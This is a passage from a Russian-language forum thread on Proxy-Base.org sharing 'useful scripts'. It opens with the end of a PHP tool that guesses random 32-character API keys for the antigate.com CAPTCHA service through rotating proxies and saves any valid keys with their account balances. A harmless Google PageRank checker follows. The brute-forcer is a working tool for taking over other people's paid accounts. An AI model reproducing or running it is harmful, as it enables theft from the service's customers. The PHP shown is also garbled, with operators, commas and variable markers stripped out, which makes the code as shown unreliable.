curl_setopt($chCURLOPT_PROXY$proxy); 

curl_setopt($chCURLOPT_COOKIEJAR$cfile); 

curl_setopt($chCURLOPT_COOKIEFILE$cfile); 

curl_setopt($chCURLOPT_TIMEOUT,10); 

$result curl_exec($ch); 

curl_close($ch); 

return 
$result

}; 

function 
gentext($count



$simbols = array("1","2","3","4","5","6","7","8","9","0","a","b","c","d","e","f");//символы из которых будет генерироваться кей 

for($i=0;$i<$count;$i++) 



$text .= $simbols[mt_rand(0,count($simbols)-1)]; 



return(
$text); 



$goodfile $_POST['file'];//файл для гудов 

$count $_POST['count'];//количество попыток для брута 

$proxyfile $_POST['proxy']; 

if(!
$goodfile||!$count||!$proxyfile



echo 
'Введите все даные'

exit; 



$proxys explode("\r\n"read($proxyfile)); 

$p=0

for(
$i=0;$i<$count;$i++) 

{ if(
$p>$countproxy



$p=0

sort($proxys); 



$proxy $proxys[$p]; 

$key gentext(32); 

//$key = ''; 

$result curl("http://antigate.com/res.php?key=".$key."&action=getbalance"$proxy); 


if(
preg_match_all("#^(.*[0-9])\.([0-9].*)$#iU"$result,$regs)) 



$balans $regs[0][0]; 

echo 
$key.' - good '.$proxy.' balans - '.$balans.'<br>'

add($goodfile$key.":".$balans."\r\n"); 




elseif(
preg_match_all("#ERROR_(.*)#iU"$result,$regs)) 



echo 
$key." - bad ".$proxy."<br>"



else 



echo 
'bad proxy '.$proxy.'<br>'

unset(
$proxys[$p]); 



$p++; 

$countproxy count($proxys)-1

if(
count($proxys)==0)exit('Прокси живых не осталось'); 

flush(); 


?>
lion169 вне форума   Ответить с цитированием
Пользователь сказал cпасибо:
Старый 19.10.2010, 12:54   #27 (permalink)
VPN
 
Регистрация: 28.04.2010
Сообщений: 546
Member ID: 7588

Репутация: 1189
Репутация: 1189
Сказал(а) спасибо: 826
Поблагодарили 443 раз(а) в 229 сообщениях
По умолчанию Re: Полезные скрипты [Perl],[PHP],[Python]

Проверка Pagerank сайта
PHP код:
<?php
error_reporting
(E_ALL E_NOTICE);

//settings - host and user agent
$googlehost='toolbarqueries.google.com';
$googleua='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5';

//convert a string to a 32-bit integer
function StrToNum($Str$Check$Magic) {
  
$Int32Unit 4294967296;  // 2^32

  
$length strlen($Str);
  for (
$i 0$i $length$i++) {
      
$Check *= $Magic;  
      
//If the float is beyond the boundaries of integer (usually +/- 2.15e+9 = 2^31),
      //  the result of converting to integer is undefined
      //  refer to http://www.php.net/manual/en/language.types.integer.php
      
if ($Check >= $Int32Unit) {
          
$Check = ($Check $Int32Unit * (int) ($Check $Int32Unit));
          
//if the check less than -2^31
          
$Check = ($Check < -2147483648) ? ($Check $Int32Unit) : $Check;
      }
      
$Check += ord($Str{$i});
  }
  return 
$Check;
}

//genearate a hash for a url
function HashURL($String) {
  
$Check1 StrToNum($String0x15050x21);
  
$Check2 StrToNum($String00x1003F);

  
$Check1 >>= 2;  
  
$Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 0x3F);
  
$Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 0x3FF);
  
$Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 0x3FFF);

  
$T1 = (((($Check1 0x3C0) << 4) | ($Check1 0x3C)) <<) | ($Check2 0xF0F );
  
$T2 = (((($Check1 0xFFFFC000) << 4) | ($Check1 0x3C00)) << 0xA) | ($Check2 0xF0F0000 );

  return (
$T1 $T2);
}

//genearate a checksum for the hash string
function CheckHash($Hashnum) {
  
$CheckByte 0;
  
$Flag 0;

  
$HashStr sprintf('%u'$Hashnum);
  
$length strlen($HashStr);

  for (
$i $length 1;  $i >= 0;  $i --) {
      
$Re $HashStr{$i};
      if (
=== ($Flag 2)) {              
          
$Re += $Re;    
          
$Re = (int)($Re 10) + ($Re 10);
      }
      
$CheckByte += $Re;
      
$Flag ++;
  }

  
$CheckByte %= 10;
  if (
!== $CheckByte) {
      
$CheckByte 10 $CheckByte;
      if (
=== ($Flag 2) ) {
          if (
=== ($CheckByte 2)) {
              
$CheckByte += 9;
          }
          
$CheckByte >>= 1;
      }
  }

  return 
'7'.$CheckByte.$HashStr;
}

//return the pagerank checksum hash
function getch($url) { return CheckHash(HashURL($url)); }

//return the pagerank figure
function getpr($url) {
global 
$googlehost,$googleua;
$ch getch($url);
$fp fsockopen($googlehost80$errno$errstr30);
if (
$fp) {
  
$out "GET /search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url HTTP/1.1\r\n";
  
//echo "<pre>$out</pre>\n"; //debug only
  
$out .= "User-Agent: $googleua\r\n";
  
$out .= "Host: $googlehost\r\n";
  
$out .= "Connection: Close\r\n\r\n";

  
fwrite($fp$out);
  
  
//$pagerank = substr(fgets($fp, 128), 4); //debug only
  //echo $pagerank; //debug only
  
while (!feof($fp)) {
 
$data fgets($fp128);
 
//echo $data;
 
$pos strpos($data"Rank_");
 if(
$pos === false){} else{
  
$pr=substr($data$pos 9);
  
$pr=trim($pr);
  
$pr=str_replace("\n",'',$pr);
  return 
$pr;
 }
  }
  
//else { echo "$errstr ($errno)<br />\n"; } //debug only
  
fclose($fp);
}
}

//generate the graphical pagerank
function pagerank($url,$width=40,$method='style') {
if (!
preg_match('/^(http:\/\/)?([^\/]+)/i'$url)) { $url='http://'.$url; }
$pr=getpr($url);
$pagerank="$pr &nbsp;<img src=\"/assets/i/pagerank/pr$pr.gif\" width=\"57\" height=\"13\" border=\"0\" align=\"absmiddle\">";

//The (old) image method
if ($method == 'image') {
$prpos=$width*$pr/10;
$prneg=$width-$prpos;
$html='<img src="http://www.google.com/images/pos.gif" width='.$prpos.' height=4 border=0 alt="'.$pagerank.'"><img src="http://www.google.com/images/neg.gif" width='.$prneg.' height=4 border=0 alt="'.$pagerank.'">';
}
//The pre-styled method
if ($method == 'style') {
$prpercent=100*$pr/10;
$html='<div style="position: relative; width: '.$width.'px; padding: 0; background: #D9D9D9;"><strong style="width: '.$prpercent.'%; display: block; position: relative; background: #5EAA5E; text-align: center; color: #333; height: 4px; line-height: 4px;"><span></span></strong></div>';
}

$out=''.$pagerank.'';
return 
$out;
}

if ((!isset(
$_POST['url'])) && (!isset($_GET['url']))) { echo '<form action="" method="post"><input name="url" type="text"><input type="submit" name="Submit" value="Get Pagerank"></form>'; }
if (isset(
$_REQUEST['url'])) { 
echo 
pagerank($_REQUEST['url']);
}
?>
haos вне форума   Ответить с цитированием
Пользователь сказал cпасибо:
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Вкл.
Pingbacks are Вкл.
Refbacks are Вкл.


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[PERL] Multithread Mail.ru bruteforce by Sharky hide E-mail 4 25.02.2011 18:51
Начинаем программировать на C++, C#, ассемблере(win), Qt, Python, Java, AS3. Xsena Программирование 17 03.07.2010 16:36
PHP-NMAP po1nt SOFT (Варезник) 0 30.06.2009 12:11




DDoS Protected




Мы в твиттере, Proxy-Base.Org Twitter

Proxy-Base Community - Анонимность и безопасность в интернете.
Наши партнеры: CRC Labs, SEO-Crack.Com, Garsuk.Com, SED Team, Skladchik.com, BSS Family

Powered by vBulletin® | Булка сделана в пекарне®
Copyright © 2000 - , Jelsoft Enterprises Ltd. Перевод: zCarot
Вся информация на сайте выложена исключительно в ознакомительных целях.